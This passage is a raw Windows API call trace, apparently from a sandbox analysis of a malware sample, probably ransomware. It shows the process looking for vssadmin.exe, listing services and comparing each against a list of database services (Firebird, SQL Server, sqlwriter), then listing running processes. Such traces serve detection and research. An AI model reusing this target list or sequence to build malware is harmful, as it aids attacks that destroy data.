szExeFile="vssadmin.exe")) returned 0 [0171.496] CloseHandle (hObject=0x36c) returned 1 [0171.496] Sleep (dwMilliseconds=0x1f4) [0172.794] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dcb8 [0172.794] EnumServicesStatusExW (in: hSCManager=0x408dcb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0172.795] GetLastError () returned 0xea [0172.795] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x40371c8 [0172.795] EnumServicesStatusExW (in: hSCManager=0x408dcb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40371c8, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40371c8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0172.796] CloseServiceHandle (hSCObject=0x408dcb8) returned 1 [0172.796] lstrlenW (lpString="Appinfo") returned 7 [0172.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0172.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0172.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0172.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0172.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0172.797] lstrlenW (lpString="AppXSvc") returned 7 [0172.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0172.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0172.797] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0172.797] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0172.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0172.797] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0172.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.797] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0172.797] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0172.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0172.797] lstrlenW (lpString="Audiosrv") returned 8 [0172.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0172.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0172.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0172.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0172.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0172.797] lstrlenW (lpString="BFE") returned 3 [0172.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0172.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0172.797] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0172.797] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0172.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0172.798] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0172.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0172.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0172.798] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0172.798] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0172.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0172.798] lstrlenW (lpString="CDPSvc") returned 6 [0172.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0172.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0172.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0172.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0172.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0172.798] lstrlenW (lpString="ClickToRunSvc") returned 13 [0172.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0172.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0172.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0172.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0172.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0172.798] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0172.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0172.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0172.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0172.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0172.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0172.798] lstrlenW (lpString="CryptSvc") returned 8 [0172.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0172.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0172.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0172.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0172.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0172.799] lstrlenW (lpString="DcomLaunch") returned 10 [0172.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0172.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0172.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0172.799] lstrlenW (lpString="DeviceAssociationService") returned 24 [0172.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0172.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0172.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0172.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0172.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0172.799] lstrlenW (lpString="Dhcp") returned 4 [0172.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0172.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0172.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0172.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0172.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0172.799] lstrlenW (lpString="Dnscache") returned 8 [0172.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0172.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0172.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0172.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0172.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0172.800] lstrlenW (lpString="DPS") returned 3 [0172.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0172.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0172.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0172.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0172.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0172.800] lstrlenW (lpString="DusmSvc") returned 7 [0172.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0172.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0172.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0172.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0172.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0172.800] lstrlenW (lpString="EventLog") returned 8 [0172.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0172.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0172.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0172.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0172.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0172.800] lstrlenW (lpString="EventSystem") returned 11 [0172.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0172.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0172.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0172.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0172.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0172.800] lstrlenW (lpString="FontCache") returned 9 [0172.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0172.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0172.801] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0172.801] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0172.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0172.801] lstrlenW (lpString="gpsvc") returned 5 [0172.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0172.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0172.801] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0172.801] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0172.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0172.801] lstrlenW (lpString="iphlpsvc") returned 8 [0172.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.801] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0172.801] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0172.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0172.801] lstrlenW (lpString="KeyIso") returned 6 [0172.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0172.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0172.801] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0172.801] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0172.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0172.801] lstrlenW (lpString="LanmanServer") returned 12 [0172.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0172.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0172.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0172.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0172.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0172.802] lstrlenW (lpString="LanmanWorkstation") returned 17 [0172.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0172.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0172.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0172.802] lstrlenW (lpString="lfsvc") returned 5 [0172.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0172.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0172.802] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0172.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0172.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0172.802] lstrlenW (lpString="lmhosts") returned 7 [0172.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0172.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0172.802] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0172.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0172.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0173.251] lstrlenW (lpString="LSM") returned 3 [0173.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0173.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0173.251] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0173.251] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0173.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0173.252] lstrlenW (lpString="MpsSvc") returned 6 [0173.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0173.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0173.252] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0173.252] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0173.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0173.252] lstrlenW (lpString="NcbService") returned 10 [0173.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0173.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0173.252] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0173.252] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0173.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0173.252] lstrlenW (lpString="netprofm") returned 8 [0173.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0173.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0173.252] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0173.252] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0173.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0173.252] lstrlenW (lpString="NgcSvc") returned 6 [0173.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0173.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0173.252] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0173.252] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0173.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0173.252] lstrlenW (lpString="NlaSvc") returned 6 [0173.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0173.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0173.253] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0173.253] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0173.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0173.253] lstrlenW (lpString="nsi") returned 3 [0173.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0173.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0173.253] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0173.253] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0173.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0173.253] lstrlenW (lpString="PcaSvc") returned 6 [0173.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0173.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0173.253] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0173.253] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0173.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0173.253] lstrlenW (lpString="PlugPlay") returned 8 [0173.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0173.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0173.253] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0173.253] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0173.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0173.253] lstrlenW (lpString="Power") returned 5 [0173.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0173.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0173.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0173.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0173.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0173.254] lstrlenW (lpString="ProfSvc") returned 7 [0173.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0173.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0173.254] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0173.254] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0173.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0173.254] lstrlenW (lpString="RpcEptMapper") returned 12 [0173.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.254] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0173.254] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0173.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0173.254] lstrlenW (lpString="RpcSs") returned 5 [0173.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0173.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0173.254] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0173.254] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0173.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0173.254] lstrlenW (lpString="SamSs") returned 5 [0173.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0173.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0173.254] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0173.254] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0173.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0173.254] lstrlenW (lpString="Schedule") returned 8 [0173.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0173.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0173.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0173.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0173.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0173.255] lstrlenW (lpString="SecurityHealthService") returned 21 [0173.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0173.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0173.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0173.255] lstrlenW (lpString="SENS") returned 4 [0173.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0173.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0173.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0173.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0173.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0173.255] lstrlenW (lpString="ShellHWDetection") returned 16 [0173.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.255] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0173.255] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0173.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0173.255] lstrlenW (lpString="Spooler") returned 7 [0173.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0173.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0173.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0173.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0173.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0173.255] lstrlenW (lpString="StateRepository") returned 15 [0173.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0173.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0173.256] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0173.256] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0173.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0173.256] lstrlenW (lpString="SysMain") returned 7 [0173.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0173.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0173.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0173.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0173.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0173.256] lstrlenW (lpString="SystemEventsBroker") returned 18 [0173.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0173.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0173.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0173.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0173.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0173.256] lstrlenW (lpString="Themes") returned 6 [0173.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0173.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0173.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0173.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0173.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0173.256] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0173.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0173.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0173.256] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0173.256] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0173.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0173.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x518 [0173.264] Process32FirstW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.264] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.265] lstrlenW (lpString="System") returned 6 [0173.265] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.265] lstrlenW (lpString="smss.exe") returned 8 [0173.265] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.266] lstrlenW (lpString="csrss.exe") returned 9 [0173.266] Process32NextW (in: hSnapshot=0x518, 